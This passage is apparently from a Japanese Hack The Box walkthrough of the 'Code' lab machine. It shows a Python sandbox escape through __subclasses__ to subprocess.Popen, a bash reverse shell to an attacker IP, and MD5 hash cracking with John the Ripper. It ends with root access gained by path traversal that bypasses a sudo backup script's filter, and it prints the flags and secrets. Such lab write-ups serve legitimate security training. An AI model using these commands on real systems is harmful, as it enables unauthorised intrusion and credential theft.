<class 'gunicorn.config.Setting'>, <class 'gunicorn.debug.Spew'>, <class 'gunicorn.app.base.BaseApplication'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_queue.SimpleQueue'>, <class 'queue.Queue'>, <class 'queue._PySimpleQueue'>, <class 'logging.handlers.QueueListener'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'logging.config.ConvertingMixin'>, <class 'logging.config.BaseConfigurator'>, <class 'gunicorn.glogging.Logger'>, <class 'gunicorn.http.unreader.Unreader'>, <class 'gunicorn.http.body.ChunkedReader'>, <class 'gunicorn.http.body.LengthReader'>, <class 'gunicorn.http.body.EOFReader'>, <class 'gunicorn.http.body.Body'>, <class 'gunicorn.http.message.Message'>, <class 'gunicorn.http.parser.Parser'>, <class 'gunicorn.http.wsgi.FileWrapper'>, <class 'gunicorn.http.wsgi.Response'>, <class 'gunicorn.workers.workertmp.WorkerTmp'>, <class 'gunicorn.workers.base.Worker'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.NamedTuple'>, <class 'typing.io'>, <class 'typing.re'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class 'mimetypes.MimeTypes'>, <class 'werkzeug._internal._Missing'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.datastructures.mixins.ImmutableListMixin'>, <class 'werkzeug.datastructures.mixins.ImmutableDictMixin'>, <class 'werkzeug.datastructures.mixins.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.structures._omd_bucket'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.datastructures.auth.Authorization'>, <class 'werkzeug.datastructures.auth.WWWAuthenticate'>, <class 'werkzeug.datastructures.file_storage.FileStorage'>, <class 'werkzeug.datastructures.headers.Headers'>, <class 'werkzeug.datastructures.range.IfRange'>, <class 'werkzeug.datastructures.range.Range'>, <class 'werkzeug.datastructures.range.ContentRange'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'werkzeug.test.Cookie'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'uuid.UUID'>, <class 'flask.json.provider.JSONProvider'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.routing.converters.BaseConverter'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.rules.RulePart'>, <class 'werkzeug.routing.rules.RuleFactory'>, <class 'werkzeug.routing.rules.RuleTemplate'>, <class 'werkzeug.routing.matcher.State'>, <class 'werkzeug.routing.matcher.StateMachineMatcher'>, <class 'werkzeug.routing.map.Map'>, <class 'werkzeug.routing.map.MapAdapter'>, <class '_csv.Dialect'>, <class '_csv.reader'>, <class '_csv.writer'>, <class 'csv.Dialect'>, <class 'csv.DictReader'>, <class 'csv.DictWriter'>, <class 'csv.Sniffer'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'configparser.Interpolation'>, <class 'importlib.metadata.FileHash'>, <class 'importlib.metadata.Distribution'>, <class 'importlib.metadata.DistributionFinder.Context'>, <class 'importlib.metadata.FastPath'>, <class 'importlib.metadata.Prepared'>, <class 'blinker._utilities.Symbol'>, <class 'blinker.base.Signal'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'flask.sansio.scaffold.Scaffold'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous._json._CompactJSON'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.sansio.blueprints.BlueprintSetupState'>, <class 'sqlalchemy.util.preloaded._ModuleRegistry'>, <class '_cython_3_0_10.cython_function_or_method'>, <class '_cython_3_0_10.generator'>, <class 'sqlalchemy.cyextension.collections.IdentitySet'>, <class 'sqlalchemy.cyextension.collections.__pyx_scope_struct__symmetric_difference'>, <class 'sqlalchemy.cyextension.collections.__pyx_scope_struct_1_genexpr'>, <class 'sqlalchemy.cyextension.immutabledict.ReadOnlyContainer'>, <class 'sqlalchemy.cyextension.processors.DecimalResultProcessor'>, <class 'sqlalchemy.cyextension.resultproxy.BaseRow'>, <class 'sqlalchemy.exc.HasDescriptionCode'>, <class 'sqlalchemy.exc.DontWrapMixin'>, <class 'typing_extensions._Sentinel'>, typing_extensions.Any, <class 'typing_extensions.TypedDict'>, <class 'typing_extensions.Annotated'>, <class 'typing_extensions.NoDefaultType'>, <class 'typing_extensions._DefaultMixin'>, <class 'typing_extensions.TypeVar'>, <class 'typing_extensions._Immutable'>, <class 'typing_extensions.deprecated'>, <class 'typing_extensions.NamedTuple'>, <class 'typing_extensions.NewType'>, <class 'typing_extensions.TypeAliasType'>, <class 'typing_extensions.Doc'>, <class 'concurrent.futures._base._Waiter'>, <class 'concurrent.futures._base._AcquireFutures'>, <class 'concurrent.futures._base.Future'>, <class 'concurrent.futures._base.Executor'>, <class 'asyncio.coroutines.CoroWrapper'>, <class 'asyncio.events.Handle'>, <class 'asyncio.events.AbstractServer'>, <class 'asyncio.events.AbstractEventLoop'>, <class 'asyncio.events.AbstractEventLoopPolicy'>, <class '_asyncio.Future'>, <class '_asyncio.FutureIter'>, <class 'TaskStepMethWrapper'>, <class 'TaskWakeupMethWrapper'>, <class '_RunningLoopHolder'>, <class 'asyncio.futures.Future'>, <class 'asyncio.protocols.BaseProtocol'>, <class 'asyncio.transports.BaseTransport'>, <class 'asyncio.sslproto._SSLPipe'>, <class 'asyncio.locks._ContextManager'>, <class 'asyncio.locks._ContextManagerMixin'>, <class 'asyncio.locks.Event'>, <class 'asyncio.trsock.TransportSocket'>, <class 'asyncio.queues.Queue'>, <class 'asyncio.streams.StreamWriter'>, <class 'asyncio.streams.StreamReader'>, <class 'asyncio.subprocess.Process'>, <class 'asyncio.unix_events.AbstractChildWatcher'>, <class 'greenlet.greenlet'>, <class 'sqlalchemy.util.langhelpers.safe_reraise'>, <class 'sqlalchemy.util.langhelpers.PluginLoader'>, <class 'sqlalchemy.util.langhelpers.portable_instancemethod'>, <class 'sqlalchemy.util.langhelpers.HasMemoized'>, <class 'sqlalchemy.util.langhelpers.MemoizedSlots'>, <class 'sqlalchemy.util.langhelpers._FastIntFlag'>, <class 'sqlalchemy.util.langhelpers.TypingOnly'>, <class 'sqlalchemy.util.langhelpers.EnsureKWArg'>, <class 'sqlalchemy.util._concurrency_py3k.AsyncAdaptedLock'>, <class 'sqlalchemy.util._concurrency_py3k._Runner'>, <class 'sqlalchemy.util.concurrency._AsyncUtil'>, <class 'sqlalchemy.event.registry.EventTarget'>, <class 'sqlalchemy.event.base._UnpickleDispatch'>, <class 'sqlalchemy.log.Identified'>, <class 'sqlalchemy.log.InstanceLogger'>, <class 'sqlalchemy.log.echo_property'>, <class 'sqlalchemy.pool.base.PoolResetState'>, <class 'sqlalchemy.pool.base._ConnDialect'>, <class 'sqlalchemy.pool.base.ManagesConnection'>, <class 'sqlalchemy.sql.roles.SQLRole'>, <class 'sqlalchemy.sql.roles.UsesInspection'>, <class 'sqlalchemy.sql.roles.AllowsLambdaRole'>, <class 'sqlalchemy.sql.visitors.Visitable'>, <class 'sqlalchemy.sql.visitors.HasTraverseInternals'>, <class 'sqlalchemy.sql.visitors.HasTraversalDispatch'>, <class 'sqlalchemy.sql.cache_key.HasCacheKey'>, <class 'sqlalchemy.sql.operators.Operators'>, <class 'sqlalchemy.sql.base.Immutable'>, <class 'sqlalchemy.sql.base.DialectKWArgs'>, <class 'sqlalchemy.sql.base.CompileState'>, <class 'sqlalchemy.sql.base.Options'>, <class 'sqlalchemy.sql.coercions.RoleImpl'>, <class 'sqlalchemy.sql.coercions._Deannotate'>, <class 'sqlalchemy.sql.coercions._StringOnly'>, <class 'sqlalchemy.sql.type_api.TypeEngineMixin'>, <class 'sqlalchemy.sql.sqltypes._RenderISO8601NoT'>, <class 'sqlalchemy.sql.selectable.HasPrefixes'>, <class 'sqlalchemy.sql.selectable.HasSuffixes'>, <class 'sqlalchemy.sql.selectable.HasHints'>, <class 'sqlalchemy.sql.selectable.NoInit'>, <class 'sqlalchemy.sql.selectable._SelectFromElements'>, <class 'sqlalchemy.sql.schema.HasConditionalDDL'>, <class 'sqlalchemy.sql.schema.IdentityOptions'>, <class 'sqlalchemy.sql.schema.ColumnCollectionMixin'>, <class 'sqlalchemy.sql.util._repr_base'>, <class 'sqlalchemy.sql.util.ColumnAdapter._IncludeExcludeMapping'>, <class 'sqlalchemy.sql.dml.DMLWhereBase'>, <class 'sqlalchemy.sql.functions._FunctionGenerator'>, <class 'sqlalchemy.sql.compiler.Compiled'>, <class 'sqlalchemy.sql.compiler.IdentifierPreparer'>, <class 'sqlalchemy.sql.lambdas.AnalyzedCode'>, <class 'sqlalchemy.sql.lambdas.NonAnalyzedFunction'>, <class 'sqlalchemy.sql.lambdas.AnalyzedFunction'>, <class 'sqlalchemy.sql.naming.ConventionDict'>, <class 'sqlalchemy.engine.interfaces.CreateEnginePlugin'>, <class 'sqlalchemy.engine.interfaces.ExecutionContext'>, <class 'sqlalchemy.engine.interfaces.ExceptionContext'>, <class 'sqlalchemy.engine.interfaces.AdaptedConnection'>, <class 'sqlalchemy.engine.util.TransactionalContext'>, <class 'sqlalchemy.engine.mock.MockConnection'>, <class 'sqlalchemy.engine.result.ResultMetaData'>, <class 'sqlalchemy.engine.result._WithKeys'>, <class 'sqlalchemy.engine.cursor.ResultFetchStrategy'>, <class 'sqlalchemy.engine.reflection.ReflectionDefaults'>, <class 'sqlalchemy.engine.reflection._ReflectionInfo'>, <class 'sqlalchemy.orm.base.InspectionAttr'>, <class 'sqlalchemy.orm.collections.collection'>, <class 'sqlalchemy.orm.collections.CollectionAdapter'>, <class 'sqlalchemy.orm.mapped_collection._AttrGetter'>, <class 'sqlalchemy.orm.interfaces._IntrospectsAnnotations'>, <class 'sqlalchemy.orm.interfaces._DCAttributeOptions'>, <class 'sqlalchemy.orm.interfaces.LoaderStrategy'>, <class 'sqlalchemy.orm.attributes.AttributeEventToken'>, <class 'sqlalchemy.orm.attributes.AttributeImpl'>, <class 'sqlalchemy.orm.attributes.HasCollectionAdapter'>, <class 'sqlalchemy.orm.util._WrapUserEntity'>, <class 'sqlalchemy.orm.state.AttributeState'>, <class 'sqlalchemy.orm.state.PendingCollection'>, <class 'sqlalchemy.orm.instrumentation._SerializeManager'>, <class 'sqlalchemy.orm.context.QueryContext'>, <class 'sqlalchemy.orm.context.DMLReturningColFilter'>, <class 'sqlalchemy.orm.context._QueryEntity'>, <class 'sqlalchemy.orm.loading.PostLoad'>, <class 'sqlalchemy.orm.relationships.JoinCondition'>, <class 'sqlalchemy.orm.relationships._ColInAnnotations'>, <class 'sqlalchemy.orm.query.BulkUD'>, <class 'sqlalchemy.orm.evaluator._EvaluatorCompiler'>, <class 'sqlalchemy.orm.identity.IdentityMap'>, <class 'sqlalchemy.orm.state_changes._StateChange'>, <class 'sqlalchemy.orm.unitofwork.UOWTransaction'>, <class 'sqlalchemy.orm.unitofwork.IterateMappersMixin'>, <class 'sqlalchemy.orm.unitofwork.PostSortRec'>, <class 'sqlalchemy.orm.session._SessionClassMethods'>, <class 'sqlalchemy.orm.clsregistry.ClsRegistryToken'>, <class 'sqlalchemy.orm.clsregistry._ModNS'>, <class 'sqlalchemy.orm.clsregistry._GetColumns'>, <class 'sqlalchemy.orm.clsregistry._GetTable'>, <class 'sqlalchemy.orm.clsregistry._class_resolver'>, <class 'sqlalchemy.orm.decl_base._MapperConfig'>, <class 'sqlalchemy.orm.decl_api._declared_attr_common'>, <class 'sqlalchemy.orm.decl_api.MappedAsDataclass'>, <class 'sqlalchemy.orm.decl_api.registry'>, <class 'sqlalchemy.orm.strategies.LoadDeferredColumns'>, <class 'sqlalchemy.orm.strategies.LoadLazyAttribute'>, <class 'sqlalchemy.orm.strategies.SubqueryLoader._SubqCollections'>, <class 'sqlalchemy.orm.writeonly.DynamicCollectionAdapter'>, <class 'sqlalchemy.orm.events._InstrumentationEventsHold'>, <class 'sqlalchemy.orm.dependency.DependencyProcessor'>, <class 'flask_sqlalchemy.pagination.Pagination'>, <class 'flask_sqlalchemy.model._QueryProperty'>, <class 'flask_sqlalchemy.model.Model'>, <class 'flask_sqlalchemy.model.BindMixin'>, <class 'flask_sqlalchemy.model.NameMixin'>, <class 'flask_sqlalchemy.extension.SQLAlchemy'>, <class 'sqlalchemy.dialects.sqlite.json._FormatTypeMixin'>, <class 'sqlalchemy.dialects.sqlite.base._DateTimeMixin'>, <class 'sqlalchemy.dialects.sqlite.aiosqlite.AsyncAdapt_aiosqlite_cursor'>, <class 'sqlalchemy.dialects.sqlite.aiosqlite.AsyncAdapt_aiosqlite_dbapi'>, <class 'sqlite3.Row'>, <class 'sqlite3.Cursor'>, <class 'sqlite3.Connection'>, <class 'sqlite3Node'>, <class 'sqlite3.Cache'>, <class 'sqlite3.Statement'>, <class 'sqlite3.PrepareProtocol'>, <class 'unicodedata.UCD'>]
(8) subprocess.Popen のインデックスを検索するために、コマンドを入力して「Run」をクリックする。
【実行コマンド】
for i, cls in enumerate(int.__class__.__base__.__subclasses__()):
if cls.__name__.startswith("Pope"):
print(i)
print(cls)
【出力内容】
317 <class 'subprocess.Popen'> 
(9) Kali Linuxでリバースシェルを受け取るために、4444/tcpで待ち受ける。
$ ip a
→Kali LinuxのVPN用のインターフェースのIPアドレスが「10.10.16.8」でした。
$ nc -nlvp 4444
listening on [any] 4444 ...
(10) Kali Linux宛にリバースシェルを実行するために、コマンドを入力して「Run」をクリックする。
【実行コマンド】
().__class__.__base__.__subclasses__()[317](["/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.8/4444 0>&1"])

(11) 「nc -nlvp 4444」コマンドで待ち受けていたプロンプトにて、シェルが返ってくる。
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.11.62] 60494
bash: cannot set terminal process group (2636): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$
(12) 完全なシェルを奪取する。
$ which python3
/usr/bin/python3
$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl]+[Z]でバックグラウンドに移す
$ stty raw -echo;fg
$ bash
(13) 現在ログインしているユーザー情報を確認すると、app-productionユーザーであることが分かる。
$ id
uid=1001(app-production) gid=1001(app-production) groups=1001(app-production)
$ whoami
app-production
(14) 一般ユーザー用のフラグファイルを確認する。
$ cat /home/app-production/user.txt
04de126c8c86d66416802c5b55b10a4fデータベースの調査
(1) /home/app-production/app/配下のファイル一覧を確認すると、app.pyがあることが分かる。
$ ls -l /home/app-production/app/
total 24
-rw-r--r-- 1 app-production app-production 5230 Feb 20 12:07 app.py
drwxr-xr-x 2 app-production app-production 4096 May 19 11:04 instance
drwxr-xr-x 2 app-production app-production 4096 Feb 20 12:07 __pycache__
drwxr-xr-x 3 app-production app-production 4096 Aug 27 2024 static
drwxr-xr-x 2 app-production app-production 4096 Feb 20 10:36 templates
(2) app.pyの内容を確認すると、database.dbというSQLiteのデータベースがあることが分かる。
$ cat /home/app-production/app/app.py
from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash
from flask_sqlalchemy import SQLAlchemy
import sys
import io
import os
import hashlib
app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
ーーー(省略)ーーー
(3) /home/app-production/app/instanceにdatabase.dbがある。
$ ls -l /home/app-production/app/instance
total 16
-rw-r--r-- 1 app-production app-production 16384 May 19 13:00 database.db
(4) database.dbにアクセスする。
$ sqlite3 /home/app-production/app/instance/database.db
sqlite>
(5) database.dbのテーブルを確認すると、codeとuserの2つのテーブルがあることが分かる。
sqlite> .table
code user
(6) userテーブルの内容を確認すると、martinユーザーのパスワードハッシュ値が「3de6f30c4a09c27fc71932bfc68474be」であることが分かる。
sqlite> select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be
(7) データベースへのアクセスを終了する。
sqlite> .exitJohn the Ripperを用いてハッシュ値解析
(1) ハッシュ値は32文字で「https://qiita.com/KEINOS/items/c92268386d265042ea16#32-桁のハッシュ値」で確認すると、md4かmd5などのハッシュ値であることが分かる。
$ echo -n "3de6f30c4a09c27fc71932bfc68474be" | wc -c
32
(2) John the Ripperを用いてMD5で解析すると、パスワードが「nafeelswordsmaster」であることが分かる。
$ echo "3de6f30c4a09c27fc71932bfc68474be" > pass_hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 pass_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
nafeelswordsmaster (?)
1g 0:00:00:00 DONE (2025-05-19 22:19) 5.263g/s 27510Kp/s 27510Kc/s 27510KC/s nafi1993..naerox
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.martinユーザーでSSHログイン
(1) 取得したmartinユーザーのパスワードを用いて攻撃対象のマシン(Code)にSSHログインすると、ログインに成功する。
※Kali Linux上で以下のコマンドを実行する。
$ ssh martin@10.10.11.62
→パスワード(nafeelswordsmaster)を入力する。
(2) 現在ログインしているユーザー情報を確認すると、martinユーザーであることが分かる。
$ id
uid=1000(martin) gid=1000(martin) groups=1000(martin)
$ whoami
martin特権昇格(sudo設定の脆弱性)
(1) sudoの設定を確認すると、パスワードなしでroot権限で/usr/bin/backy.shを実行できることが分かる。
$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
(2) /usr/bin/backy.shの内容を確認すると、ファイルをバックアップするスクリプトであることが分かる。
$ cat /usr/bin/backy.sh
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
(3) /usr/bin/backy.shを実行すると、task.jsonのファイルを指定する必要がある旨のメッセージが表示される。
$ sudo /usr/bin/backy.sh
Usage: /usr/bin/backy.sh <task.json>
(4) /home/martin/backupsにtask.jsonファイルがあることが分かる。
$ ls -l /home/martin
drwxr-xr-x 2 martin martin 4096 May 19 13:20 backups
$ ls -l /home/martin/backups
-rw-r--r-- 1 martin martin 5879 May 19 13:30 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 martin martin 181 May 19 13:30 task.json
(5) task.jsonを指定して/usr/bin/backy.shを実行すると、home/app-production/app/配下のファイルがバックアップされる。
$ sudo /usr/bin/backy.sh /home/martin/backups/task.json
2025/05/19 13:33:39 ? backy 1.2
2025/05/19 13:33:39 ? Working with /home/martin/backups/task.json ...
2025/05/19 13:33:39 ? Nothing to sync
2025/05/19 13:33:39 ? Archiving: [/home/app-production/app]
2025/05/19 13:33:39 ? To: /home/martin/backups ...
2025/05/19 13:33:39 ?
(6) /home/martin/backups/配下に.tar.bz2形式でバックアップされたファイルが格納されている。
$ ls -l /home/martin/backups/
total 24
-rw-r--r-- 1 root root 8520 May 19 13:33 code_home_app-production_app_2025_May.tar.bz2
-rw-r--r-- 1 martin martin 191 May 19 13:33 task.json
(7) バックアップした.tar.bz2形式のファイルを解凍する。
$ tar -jxvf code_home_app-production_app_2025_May.tar.bz2
home/app-production/app/
home/app-production/app/app.py
home/app-production/app/static/
home/app-production/app/static/css/
home/app-production/app/static/css/styles.css
home/app-production/app/templates/
home/app-production/app/templates/index.html
home/app-production/app/templates/codes.html
home/app-production/app/templates/register.html
home/app-production/app/templates/login.html
home/app-production/app/templates/about.html
home/app-production/app/__pycache__/
home/app-production/app/__pycache__/app.cpython-38.pyc
home/app-production/app/instance/
home/app-production/app/instance/database.db
(8) task.jsonファイルの内容を確認すると、バックアップするファイルなどを指定していることが分かる。
$ cat /home/martin/backups/task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
(9) /root配下のファイルをバックアップするように、task.jsonの内容を変更する。
$ vi /home/martin/backups/task.json
【変更前】
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
【変更後】
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/root/"
],
"exclude": [
".*"
]
}
(10) /usr/bin/backy.shを実行すると、「/var/」や「/home/」配下のファイルしか許可されていない旨のメッセージが表示される。
$ sudo /usr/bin/backy.sh /home/martin/backups/task.json
Error: /root/ is not allowed. Only directories under /var/ and /home/ are allowed.
(11) 「..」を用いて/root配下のファイルをバックアップするように、task.jsonの内容を変更する。
$ vi /home/martin/backups/task.json
【変更後】
$ cat task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/var/....//root"
]
}
(12) task.jsonを指定して/usr/bin/backy.shを実行すると、/root/配下のファイルがバックアップされる。
$ sudo /usr/bin/backy.sh /home/martin/backups/task.json
2025/05/19 14:11:03 ? backy 1.2
2025/05/19 14:11:03 ? Working with /home/martin/backups/task.json ...
2025/05/19 14:11:03 ? Nothing to sync
2025/05/19 14:11:03 ? Archiving: [/var/../root]
2025/05/19 14:11:03 ? To: /home/martin/backups ...
2025/05/19 14:11:03 ?
(13) /home/martin/backups/配下に.tar.bz2形式でバックアップされたファイルが格納されている。
$ ls -l /home/martin/backups/
total 28
-rw-r--r-- 1 martin martin 5879 May 19 14:10 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 root root 12899 May 19 14:11 code_var_.._root_2025_May.tar.bz2
-rw-r--r-- 1 martin martin 150 May 19 14:11 task.json
(14) バックアップした.tar.bz2形式のファイルを解凍する。
$ tar -jxvf code_var_.._root_2025_May.tar.bz2
root/
root/.local/
root/.local/share/
root/.local/share/nano/
root/.local/share/nano/search_history
root/.selected_editor
root/.sqlite_history
root/.profile
root/scripts/
root/scripts/cleanup.sh
root/scripts/backups/
root/scripts/backups/task.json
root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
root/scripts/database.db
root/scripts/cleanup2.sh
root/.python_history
root/root.txt
root/.cache/
root/.cache/motd.legal-displayed
root/.ssh/
root/.ssh/id_rsa
root/.ssh/authorized_keys
root/.bash_history
root/.bashrc
(15) 特権ユーザー用のフラグファイルを確認する。
$ cat root/root.txt
8c5c16a58d16d20d060d765b6ae60e23関連記事(Hack The Box)
※後日作成予定。

